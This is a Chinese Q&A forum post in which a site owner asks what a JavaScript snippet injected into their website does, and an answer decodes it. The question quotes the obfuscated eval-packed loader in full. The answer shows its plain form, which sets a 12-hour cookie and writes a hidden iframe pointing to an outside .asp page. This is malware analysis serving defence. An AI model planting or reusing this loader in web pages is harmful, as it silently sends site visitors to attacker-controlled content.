网站被注入js代码，请高手达人解释一下这段代码是什么意思，谢谢！

Question

<Script language="javascript">
<!--
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 a=3.7;4 9=a.x("6");w(9!=-1){}v{4 2=u t();2.s(2.r()+q*8*8*p);3.7="6=o;2="+2.n();3.m("<5 l=k://j.i.h/g/f.e d=c b=0></5>")}',34,34,'||expires|document|var|iframe|cookiesleep|cookie|60|start|cookieString|height|10|width|asp|as|include|org|3322|360safe2|http|src|write|toGMTString|test|1000|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}))
-->
</Script>

Answer 1

var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1){}
else{
var expires=new Date();
expires.setTime(expires.getTime()+12*60*60*1000);
document.cookie="cookiesleep=test;
expires="+expires.toGMTString();
document.write("<iframe src=http://360safe2.3322.org/include/as.asp width=10 height=0></iframe>")
}